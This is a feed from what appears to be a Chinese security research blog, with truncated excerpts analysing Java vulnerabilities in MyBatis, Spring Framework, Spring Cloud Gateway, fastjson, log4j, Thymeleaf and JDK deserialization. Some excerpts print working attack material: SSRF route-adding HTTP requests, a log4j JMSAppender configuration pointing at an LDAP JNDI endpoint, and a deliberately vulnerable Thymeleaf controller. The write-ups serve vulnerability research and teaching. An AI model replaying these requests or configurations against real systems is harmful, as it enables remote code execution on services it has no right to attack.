Panda | 热爱安全的理想少年 - 安全研究
type: channel
link: https://www.cnpanda.net/category/sec
description: 安全研究
items: Mybatis 从SQL注入到OGNL注入
items: 从零开始，分析Spring Framework RCE
items: 从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析
items: fastjson<=1.2.68 漏洞分析
items: log4j 1.x 与 logback 的鸡肋RCE讨论
items: log4j2 JNDI 注入漏洞分析
items: Thymeleaf SSTI 分析以及最新版修复的 Bypass
items: 用一个 case 去理解 jdk8u20 原生反序列化漏洞
items: JEP290的基本概念
items: 反序列化流程分析总结

Mybatis 从SQL注入到OGNL注入
type: item
date: 2023-03-01T02:20:00+00:00
description: 动态SQL动态 SQL 是 MyBatis 的强大特性之一，一般而言，如果不使用动态SQL来拼接SQL语句，是比较痛苦的，比如拼接时要确保不能漏空格，还要注意去掉列表最后一个列名的逗号等，但是利用动态 SQL，就可以彻底摆脱这种痛苦。一般而言，使用mybatis有两种配置，一种是通过xml文件的方式来配置，另一种是通过注解的方式来配置。1、xml文件mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种，分别是：① ifif标签是Mybatis中使用动态SQL比较频繁的地方，尤其是在where的判断里，比如： SELECT * FROM BLOG WHERE state = 'ACTIVE' <if test="title != null"> AND title like #{title} </if> 这里的SQL语句就提供了选择情景，如果我们不传入title或者传入的title为空，那么就不会拼接 AND title like #{title}又或者想加入额外的判断： SELECT * FROM BLOG WHERE state = 'ACTIVE' <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> 结论：if标签里的 test属性，可以插入并解析OGNL表达式② choose (when, otherwise)根据官方文档中的说明有时候，我们不想使用所有的条件，而只是想从多个条件中选择一个使用。针对这种情况，MyBatis 提供了 choose 元素，它有点像 Java 中的 switch 语句。 SELECT * FROM BLOG WHERE state = 'ACTIVE' <choose> <when test="title != null"> AND title like #{title} </when> <when test="author != null and author.name != null"> AND author_name like #{author.name} </when> <otherwise> AND featured = 1 </otherwise> </choose> 结论：when标签里的 test属性，可以插入并解析OGNL表达式③ trim (where, set) SELECT * FROM BLOG WHERE <if test="state != null"> state = #{state} </if> <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> 可以看下这个SQL语句，假设如果没有满足匹配的条件，那么最终这条 SQL 会变成这样：SELECT * FROM BLOG WHERE毫无疑问，这会导致查询失败同样的，如果匹配的只是第二个条件，这条 SQL 会是这样：SELECT * FROM BLOG WHERE AND title like 'someTitle'这个查询也会失败所以mybatis提出来了trim方法，如下： SELECT * FROM BLOG <where> <if test="state != null"> state = #{state} </if> <if test="title != null"> AND title like #{title} </if> <if test="author != null and author.name != null"> AND author_name like #{author.name} </if> </where> 可以看到多了一个where标签，同理还有一个set标签结论：该情况下，一般没有地方可以供我们插入OGNL表达式④ foreach动态 SQL 的另一个常见使用场景是对集合进行遍历（尤其是在构建 IN 条件语句的时候）。比如： SELECT * FROM POST P <where> <foreach item="item" index="index" collection="list" open="ID in (" separator="," close=")" nullable…

从零开始，分析Spring Framework RCE
type: item
date: 2022-04-16T13:43:00+00:00
description: 本文首发于跳跳糖社区：http://tttang.com/archive/1532/博客用于备份0x01 写在前面如果需要让你对一套CMS的安全性进行研究分析，你会从哪里入手？或许你会回答代码审计的那一套知识点。那么，如果需要让你要对 Spring Framework 框架的安全性进行研究分析，你会从哪里入手？更宽泛一点，如果需要让你对一个大型的开源组件的安全性进行研究分析，你会从哪里入手？实际上自从 Spring Framework RCE（ CVE-2022-22965 ）漏洞被爆出后，我就在思考这样的一个问题。如果让我去分析这种类似于 Spring Framework 框架的安全性，我能够发现这个漏洞吗？我给自己的结论是不能。分析了主要原因，主要有三点。第一是基础不牢，当你不知道Spring Framework框架内部运行的机制以及其特色的实现原理的时候，你不可能从中找到不足点；这个很容易理解，你都不懂我，你怎么可能会懂我的不足。第二是积累不够，当你都不知道Spring Framework框架曾经出现过哪些问题的时候，你又怎么可能知道曾经出现问题的地方有没有可能被绕过；这一点其实很简单，但也最怕眼高手低，最常有的想法是这都十多年前的漏洞了，看了应该也没啥意思，不如看看最近出现过的新的漏洞。第三是知识的广度，当你都不知道JDK新特性以及新特性如何去使用的时候，你又怎么可能找到绕过的方法；这一点最难去弥补，安全的知识海洋太广了，没有人能够把自己知识的广度做到100%的安全面，但最关键的地方并不在于要做到100%的广度，而是要做到你了解到的广度能够帮你实现目标；那这三点应该如何去解决呢？在文章的末尾我会给出我的见解。下面会从基础知识到漏洞原理到漏洞修复对 Spring Framework RCE漏洞进行分析。0x02 基础知识java.lang.Class在Java中有两种对象：Class对象和实例对象。实例对象是类的实例，通常是通过 new 这个关键字构建的；Class对象是JVM生成用来保存对象的类的信息的；在代码中写的每一个类都是对象，也同是java.lang.Class类的对象。换而言之，每个类都有自己的实例对象，而且也都是Class类的对象。在java.lang.Class类中对Class类的构造方法有相关说明： /* * Private constructor. Only the Java Virtual Machine creates Class objects. * This constructor is not used and prevents the default constructor being * generated. */ private Class(ClassLoader loader, Class<?> arrayComponentType) { // Initialize final field for classLoader. The initialization value of non-null // prevents future JIT optimizations from assuming this final field is null. classLoader = loader; componentType = arrayComponentType; }Private constructor. Only the Java Virtual Machine creates Class objects. This constructor is not used and prevents the default constructor being generated.可以看到，Class类的构造方法是私有构造函数，只有JVM 才可以创建该类的对象。也就是说，我们是没有办法通过 new 的方式声明一个Class对象的，如下图，当我们尝试 new 一个Class对象的时候，会报错：虽然我们无法通过new的方式得到Class类的对象，但是依然有其他方式获得Class类的对象，如：通过类的静态成员变量来获取、通过java.lang.Object.getClass() 方法返回运行时类的对象、通过Class的静态方法forName()获取：可以这样去理解，获取到一个类对象后，就可以调用这个类中的一些方法，当获取到Class对象后，变相的获取了所有Class类的对象，通过调用这个Class类下实例对象的方法，就相当于调用了实例对象的方法。JavaBean在介绍SpringBean之前需要对JavaBean有一定的了解，根据官方的介绍如下：JavaBean 是一种 Java语言写成的可重用组件。…

从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析
type: item
date: 2022-03-05T17:16:00+00:00
description: 0x01 写在前面本周二（3.1）的时候Spring官方发布了 Spring Cloud Gateway CVE 报告其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急，周三周四的时候就有不少圈内的朋友发了分析和复现过程，由于在工作和写论文，就一直没去跟踪看看，周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。0x02 从SSRF说起看到这个漏洞利用流程的时候，就有一种熟悉的既视感，回去翻了翻陈师傅的星球，果然：去年12月的时候，陈师傅提了一个 actuator gateway 的 SSRF漏洞，这个漏洞来自 wya作者在文章中提到，通过Spring Cloud Gateway 执行器（actuator）提供的管理功能就可以对路由进行添加、删除等操作。因此作者利用 actuator 提供的路由添加功能，并根据官方示例，如下图：添加了一个路由：POST /actuator/gateway/routes/new_route HTTP/1.1 Host: 127.0.0.1:9000 Connection: close Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://wya.pl", "order": 0 }在执行 refresh 操作后，作者成功执行了一个SSRF请求（向https://wya.pl/index.php发起的请求）：陈师傅最后还在星球里给了个演示的实例：https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md先不具体讨论为什么payload会这样写，如果你熟悉 CVE-2022-22947 的payload，那么看到这里你一定会有同样的熟悉感。是的，CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版，并且触发SSRF的原理并不复杂首先利用/actuator/gateway/routes/{new route}的方式指定一个URL地址，并针对该地址添加一个路由POST /actuator/gateway/routes/new_route HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://www.cnpanda.net", "order": 0 } 然后刷新令这个路由生效：POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Type: application/json { "predicate": "Paths: [/new_route], match trailing slash: true", "route_id": "new_route", "filters": [ "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]" ], "uri": "https://www.cnpanda.net", "order": 0 }最后直接访问/new_route/index.php即可触发SSRF漏洞。到这里有两个问题：第一，payload为什么会这样写？第二，整个请求流程是什么样的？首先来看第一个问题，payload为什么会这样写上文中我们提到了Spring Cloud Gateway官方给的实例如下：{ "id": "first_route", "predicates": [{ "name": "…

fastjson<=1.2.68 漏洞分析
type: item
date: 2022-03-05T17:05:25+00:00
description: 去年写的文章，没发出来，给公众号增加点内容，也留点笔记写在前面自2017年3月15日 fastjson 1.2.24版本被爆出反序列化漏洞以来，其就成为了安全人员中的重 点研究对象，即使后来 fastjson 为了安全设置了checkAutoType 防御机制，也依旧没能完全杜 绝新的漏洞产生，结合今日BlackHat 大会上玄武实验室的《How i use json deserialization》 议题，来看看这个漏洞。Fastjson的两个机制fastjson中产生漏洞的根本原因在于其 autoType 机制，以及针对于 autoType 机制做的 checkAutoType 检测防御机制，先来具体看看这两个机制。Autotype首先来谈谈为什么要有autotype这个机制 功能来源于需求，这是在开发过程中的准则之一，没有人会去做一个没有需求的功能，在fastjson中亦是如此。当我们使用fastjson中的JSON.parseObject(jsonstr, xxx.class)方法的时候，如果xxx是一个抽象 类或接口，那么我们得到的结果会是NULL，也就是说我们没有办法去指定一个抽象类或接 口，只能根据json字符串中的实现类的信息去帮助开发者解析成对应的实现类。问题出现， 那么需求就来了，如何实现fasjton对多态的支持?是的，fastjson给了我们答案——autotype 机制。在fastjson中，当要将具体的实现类解析为json字符串的同时，开发者可以为其指定 SerializerFeature，然后通过添加 SerializerFeature.WriteClassName 的方式，使得在生成的 json字符串中，添加序列化信息(写入类型信息)。举个例子:如果现在有一个抽象类为 abstractClass_A，有一个实现类为class_B，当开发者要将class_B要 解析成为json字符串的时候，就可以添加 SerializerFeature，如下所示:可以看到，此时解析成功的json字符串内容如下：{ "@type":"testAutoType$class_B", "str":"panda"}会自动携带一个 @type 的属性，这个属性指定了序列化的类之后当开发者想要直接使用抽象类A，就可以通过反序列化解析字符串，从而得到具体的实现类checkAutoTypecheckAutoType是 FastJson 在 1.2.25 以及之后的版本中，为了防止 autoType 这一机制带来的 安全隐患，增加的检测防御机制，这是一个对于 @type 属性进行白名单+黑名单的限制机制早期版本的checkAutoType存在一些比较低级的绕过方法，如加上L开头;结尾、双写LL绕过 等，直到1.2.48版本后，checkAutoType 变得成熟，黑名单也逐渐完善其具体逻辑，可以用《How i use json deserialization》议题的一张图片概括:checkAutoType首先会对传入的typeName进行3项检测:是否是白名单中的类是否在反序列化cache中(在mappings列表)类有JSONType注解(如:fastjson.annotation.JSONType)如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache如果没有满足其中的一个条件，那么会进入另一个判断:传入的typeName是否在黑名单中是否继承自RowSet、DataSource、ClassLoader等类如果满足上述条件之一，那么直接抛出错误 如果都不满足，那么会进行如下判断:expectClass不为NULL、Object、Serializable、Closeable等类型传入的typeName类继承于expctClass如果满足以上条件，那么会直接return出去继续执行反序列化流程并且将未载入cache的类载 入cache如果不满足，那么会经过autoTypeSupport的判断，autoTypeSupport主要用来打开autotype功能，默认情况下是false，抛出错误，如果设置的是True那么会return出去继续执行反序列化流 程并且将未载入cache的类载入cache漏洞分析实际上经过上面的分析，我们直到如果想要通过checkAutoType的检验，有以下几种方法:传入的类在白名单中开启了autotype(autoTypeSupport is true)使用了JSONType注解(如:fastjson.annotation.JSONType)某些期望类 (继承于expectClass)要反序列化的类在cache中 (TypeUtils.mappings列表中…

log4j 1.x 与 logback 的鸡肋RCE讨论
type: item
date: 2021-12-12T18:57:00+00:00
description: 0x01 写在前面对 log4j2 漏洞的后续研究中，发现一些有趣的东西，记录分享一下0x02 log4j 真的在任何情况不存在 JNDI注入吗？首先提出一个问题，log4j 真的在任何情况不存在 JNDI注入吗？答案是否定的。翻阅 Log4j2 的 pull request 发现一个有意思的对话：有人提出实际上 log4j 和 log4j2 一样易受攻击的，只不过与 log4j2 相比，Log4j 的攻击向量“更安全”因为 Log4j 的攻击入口点是其配置文件，而 log4j2 的攻击入口点是用户的输入那么实际上如何呢？经过我简单测试，发现修改 log4j 的配置文件确实会导致漏洞的产生，但要求要比pull reques中所说的更苛刻。案例1 - log4j 配置文件中 JMSAppender 的 RCE首先在 maven 中添加以下依赖：<dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-broker</artifactId> <version>5.16.3</version> </dependency> </dependencies>然后在resource 目录下新建 log4j.properties 文件，内容如下：log4j.rootLogger=INFO, stdout, jms log4j.logger.org.apache.activemq=INFO, stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n log4j.appender.jms=org.apache.log4j.net.JMSAppender log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory log4j.appender.jms.ProviderURL=tcp://localhost:61616 log4j.appender.jms.TopicBindingName=jmsTest log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd最后新建 Log4jJMSAppenderTest.java 文件，内容如下：import org.apache.log4j.Logger; import javax.naming.NamingException; class Log4jJMSAppenderTest { public static void main(String[] args) throws NamingException { // 通常情况下会自动加载 Log4j 的配置文件，如果不能自动加载可以取消注释下行代码 // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class); logger.error("error"); } }可以看到，项目的所用到的主要依赖是 log4j 1.2.17 版本，然后为了满足条件要求（后文会说具体什么条件），又引入了最新版的 activemq 依赖。然后如果直接运行 main 函数，可以直接触发 RCE：原理很简单，log4j 有一个名为Appenders的功能，Appender 通常只负责将事件数据写入目标指定的区域， 比如数据库、JMS 代理等当检测到log4j.properties配置文件中存在指定的 Appender 时，会自动进入相应的功能逻辑如，假设配置了log4j.appender.file=org.apache.log4…

log4j2 JNDI 注入漏洞分析
type: item
date: 2021-12-11T13:21:06+00:00
description: 0x01 写在前面2021 年 12 月 9 号注定是一个不眠之夜，著名的Apache Log4j 项目被爆存在远程代码执行漏洞，且利用简单，影响危害巨大，光是引入了 log4j2 依赖的组件都是数不清，更别提项目本身可能存在的风险了，如下图所示，mvnrepository搜索引用了 log4j-core version 2.14.1的项目就 十几页了：本文就来简单分析一下该漏洞的原理。0x02 影响范围引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件0x03 漏洞分析根据官方的修订信息：https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues可以明确知道，是通过 jndi 中 LDAP 注入的方式实现了 RCE，然后查看其补丁的更改记录：可以发现对lookup函数进行了修改判断知道了漏洞类型，那么就好入手了，首先翻阅官方文档中关于lookup的说明：lookup提供了一种在任意位置向 Log4j2 配置添加值的方法，是实现StrLookup接口的特殊类型的插件 ，查看官方文档发现log4j2 支持的方法有很多：总计有：base64、data、ctx、main、env、sys、sd、java、marker、jndi、jvmrunargs、map、bundle、log4j由于这里主要说明的是关于 JNDI lookup 的用法，其他的不再赘述。关于 JNDI lookup官方文档有说明：JndiLookup 允许通过 JNDI 检索变量，然后给了示例：<File name="Application" fileName="application.log"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern> </PatternLayout> </File>实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下：${jndi:JNDIContent}既然明确了lookup是触发漏洞的点，并且找到了可以触发 lookup的方法 ，那么就可以找入口点，只要找到入口点，然后传入 jndi 调用 ldap 的方式，就能够实现 RCE。那么，哪一个入口点可以传入${jndi:JNDIContent}呢？没错了，就是LogManager.getLogger().xxxx()方法在log4j2中，共有8 个日志级别，可以通过LogManager.getLogger()调用记录日志的方法如下：LogManager.getLogger().error() LogManager.getLogger().fatal() LogManager.getLogger().trace() LogManager.getLogger().traceExit() LogManager.getLogger().traceEntry() LogManager.getLogger().info() LogManager.getLogger().warn() LogManager.getLogger().debug() LogManager.getLogger().log() LogManager.getLogger().printf()上述列表中，error()和fatal()方法可默认触发漏洞，其余的方法需要配置日志级别才可以触发漏洞。因为在logIfEnabled方法中，对当前日志等级进行了一次判断：只有当当前事件的日志等级大于等于设置的日志等级时，才会符合条件，进入logMessage()方法知道这些基本信息后，就可以进一步了解漏洞的触发原理了。测试 case 如下：public class log4j { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { Collection<org.apache.logging.log4j.core.Logger> current = LoggerContext.getContext(false).getLoggers(); Collection<org.apache.logging.log4j.core.Logger> notcurrent = LoggerContext.getContext().getLoggers(); Collection<org.ap…

Thymeleaf SSTI 分析以及最新版修复的 Bypass
type: item
date: 2021-11-20T03:15:00+00:00
description: 0x01 写在前面前段时间补上了迟迟没有写的 文件包含漏洞原理与实际案例介绍一文，在其中就提到了 Thymeleaf SSTI 漏洞，昨天在赛博群里三梦师傅扔了一个随手挖的 CVE——Thymeleaf SSTI Bypass，想着之前项目的代码还没清理，一起分析来看看0x02 Thymeleaf SSTIThymeleaf 是与 java 配合使用的一款服务端模板引擎，也是 Spring 官方支持的一款服务端模板引擎。而 SSTI 最初是由 James Kettle 提出研究，Emilio Pinna 对他的研究进行了补充，不过这些作者都没有对 Thymeleaf 进行 SSTI 相关的漏洞研究工作，后来 Aleksei Tiurin 在 ACUNETIX 的官方博客上发表了关于 Thymeleaf SSTI 的文章，因此​ Thymeleaf SSTI 逐渐被安全研究者关注。为了更方便读者理解这个 Bypass，因此在这里简单说一遍一些基础性的内容，如果了解的，可以直接跳到 0x03 的内容。Thymeleaf 表达式可以有以下类型：${...}：变量表达式 —— 通常在实际应用，一般是OGNL表达式或者是 Spring EL，如果集成了Spring的话，可以在上下文变量（context variables ）中执行*{...}: 选择表达式 —— 类似于变量表达式，区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行。#{...}: Message (i18n) 表达式 —— 允许从外部源（比如.properties文件）检索特定于语言环境的消息@{...}: 链接 (URL) 表达式 —— 一般用在应用程序中设置正确的 URL/路径（URL重写）。~{...}：片段表达式 —— Thymeleaf 3.x 版本新增的内容，分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。 正是由于这些表达式，片段可以被复制，或者作为参数传递给其他模板等等实际上，Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个片段表达式，我们知道片段表达式语法如下：~{templatename::selector}，会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment如有一个 html 文件的代码如下： © 2021 ThreeDream yyds 然后在另一template中可以通过片段表达式引用该片段： th:insert和th:replace:插入片段是比较常见的用法~{templatename}，引用整个templatename模版文件作为fragment这个也比较好理解，不做详细举例~{::selector} 或 ~{this::selector}，引用来自同一模版文件名为selector的fragmnt在这里，selector可以是通过th:fragment定义的片段，也可以是类选择器、ID选择器等。当~{}片段表达式中出现::，那么 ::后需要有值（也就是selector）在了解这些内容后，我们就可以正式来看这个漏洞是怎么一回事了。首先，同样的，我们拿一个常见的例子：@GetMapping("/admin") public String path(@RequestParam String language) { return "language/" + language + "/admin"; }这是 SpringBoot 项目中某个控制器的部分代码片段，thymeleaf 的目录如下：从代码逻辑中基本上可以判断，这实际上是一个语言界面选择的功能，如果是中文阅读习惯者，那么会令language参数为cn，如果是英文阅读习惯者，那么会令language参数为en，代码逻辑本身实际上是没有什么问题的，但是这里采用的是 thymeleaf 模板，就出现了问题。在springboot + thymeleaf 中，如果视图名可控，就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后，Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板，在寻找的过程中，会将传入的参数当成SpEL表达式执行，从而导致了远程代码执行漏洞。thymeleaf 渲染的流程如下：createView() 根据视图名创建对应的ViewrenderFragment() 根据视图名解析模板名称所以可以跟进renderFragment()来看看如何解析模板名称的：核心代码我复制了出来： protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model,…

用一个 case 去理解 jdk8u20 原生反序列化漏洞
type: item
date: 2021-06-30T04:42:00+00:00
description: 0x01 写在前面jdk8u20原生反序列化漏洞是一个非常经典的漏洞，也是我分析过最复杂的漏洞之一。在这个漏洞里利用了大量的底层的基础知识，同时也要求读者对反序列化的流程、序列化的数据结构有一定的了解本文结合笔者自身对该漏洞的了解，写下此文，如有描述不当或者错误之处，还望各位师傅指出0x02 jdk8u20 漏洞原理jdk8u20其实是对jdk7u21漏洞的绕过，在《JDK7u21反序列化漏洞分析笔记》 一文的最后我提到了jdk7u21的修复方式：首先来看存在漏洞的最后一个版本（611bcd930ed1）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java查看其 children 版本（0ca6cbe3f350）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.javacompare一下：// 改之前 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } // 改之后 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }可以发现，在第一次的修复中，官方采用的方法是网上的第二种讨论，即将以前的 return 改成了抛出异常。我们来看第一次修复后的AnnotationInvocationHandler.readObejct()方法：private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { …

JEP290的基本概念
type: item
date: 2021-06-25T11:49:24+00:00
description: JEP2900x01 什么是JEP?JDK Enhancement Proposal 简称JEP，是 JDK 增强提议的一个项目，目前索引编号已经达到了JEP415，本文重点来谈谈什么是JEP290，JEP290做了哪些事，JEP290绕过的方法总结等。0x02 什么是JEP290?JEP290的描述是Filter Incoming Serialization Data，即过滤传入的序列化数据F Clo 9core/io:serialization290Filter Incoming Serialization DataJEP290 是 Java 为了防御反序列化攻击而设置的一种过滤器，其在 JEP 项目中编号为290，因而通常被简称为JEP2900x03 JEP290的适用范围Java™ SE Development Kit 8, Update 121 (JDK 8u121)Java™ SE Development Kit 7, Update 131 (JDK 7u131)Java™ SE Development Kit 6, Update 141 (JDK 6u141)0x04 JEP290 的作用Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes. [提供一个限制反序列化类的机制，白名单或者黑名单]Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors. [限制反序列化的深度和复杂度]Provide a mechanism for RMI-exported objects to validate the classes expected in invocations. [ 为RMI远程调用对象提供了一个验证类的机制]The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream. [定义一个可配置的过滤机制，比如可以通过配置 properties文件的形式来定义过滤器]JEP290 具体内容1、限制的情况：反序列化类数组时的数组元素数 ( arrayLength )每个嵌套对象的深度( depth )当前数量对象引用 ( references ) 的数量当前消耗的字节数 ( streamBytes )2、支持 3 种配置过滤器的方式自定义过滤器进程范围过滤器（也称为全局过滤器）用于 RMI 注册表和分布式垃圾收集 (DGC)使用的内置过滤器3、自定义过滤器当反序列化要求与整个应用程序中的任何其他反序列化过程不同时，就会出现自定义过滤器的配置场景；可以通过实现ObjectInputFilter接口并覆盖checkInput(FilterInfo filterInfo)方法来创建自定义过滤器：如以下示例：static class VehicleFilter implements ObjectInputFilter { final Class<?> clazz = Vehicle.class; final long arrayLength = -1L; final long totalObjectRefs = 1L; final long depth = 1l; final long streamBytes = 95L; public Status checkInput(FilterInfo filterInfo) { if (filterInfo.arrayLength() < this.arrayLength || filterInfo.arrayLength() > this.arrayLength || filterInfo.references() < this.totalObjectRefs || filterInfo.references() > this.totalObjectRefs || filterInfo.depth() < this.depth || filterInfo.depth() > this.depth || filterInfo.streamBytes() < this.streamByt…

反序列化流程分析总结
type: item
date: 2021-06-13T14:48:04+00:00
description: 0x01 写在前面同前一篇的分析方法一样，推荐复制demo代码，然后一步一步跟随笔者的分析进行debug调试跟随，这样跟能够帮助读者理解此文。0x02 流程分析在上一篇《 序列化流程分析总结》一文中我提到了所谓的序列化即是一个将对象写入到IO流中的过程。序列化的步骤通常是首先创建一个ObjectOutputStream输出流，然后调用ObjectOutputStream对象的writeObject方法，按照一定格式(上面提到的)输出可序列化对象。所以其实反序列化和序列化是一个相反的过程——所谓的反序列化即是从IO流中读出对象的过程。反序列化的步骤通常是首先创建一个ObjectInputStream输入流，然后调用ObjectInputStream对象的readObject方法读出序列化的内容。如下段demo代码：package com.panda.alipay; import java.io.*; public class Main { public static class Demo implements Serializable { private String string; transient String name = "hello"; public Demo(String s) { this.string = s; } public static void main(String[] args) throws IOException, ClassNotFoundException { Demo demo = new Demo("panda"); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("panda.out")); outputStream.writeObject(new Demo("panda")); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("panda.out")); inputStream.readObject(); } } }整个代码中最关键的两行为： ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("panda.out")); inputStream.readObject();这两行其实就包括了整个反序列化的流程。首先来看ObjectInputStream，ObjectInputStream和ObjectOutputStream一样，是一个实现了ObjectInput接口的InputStream的子类，其类定义如下：public class ObjectInputStream extends InputStream implements ObjectInput, ObjectStreamConstants{ ... }当我们实例化ObjectInputStream后，首先调用的是ObjectInputStream的构造方法。ObjectInputStream和ObjectOutputStream类一样有两个构造方法 —— 一个为public的单参数构造方法，一个为protected的无参构造方法同样地，当我们实例化ObjectInputStream并传入new FileInputStream("panda.out")参数后，调用的是ObjectInputStream中的public单参数构造方法，该方法内容如下：和ObjectOutputStream的构造方法一样——在该构造函数的开始，首先会调用verifySubclass方法处理缓存信息，要求该类(或子类)进行验证——验证是否可以在不违反安全约束的情况下构造此实例。然后和ObjectOutputStream不同的是，在ObjectOutputStream中我们初始化的对象是bout、handles、subs以及enableOverride，但是在ObjectInputStream中，我们初始化的对象变成了bin、handles、vlist以及enableOverride。 /** filter stream for handling block data conversion */ private final BlockDataInputStream bin; /** validation callback list */ private final ValidationList vlist;…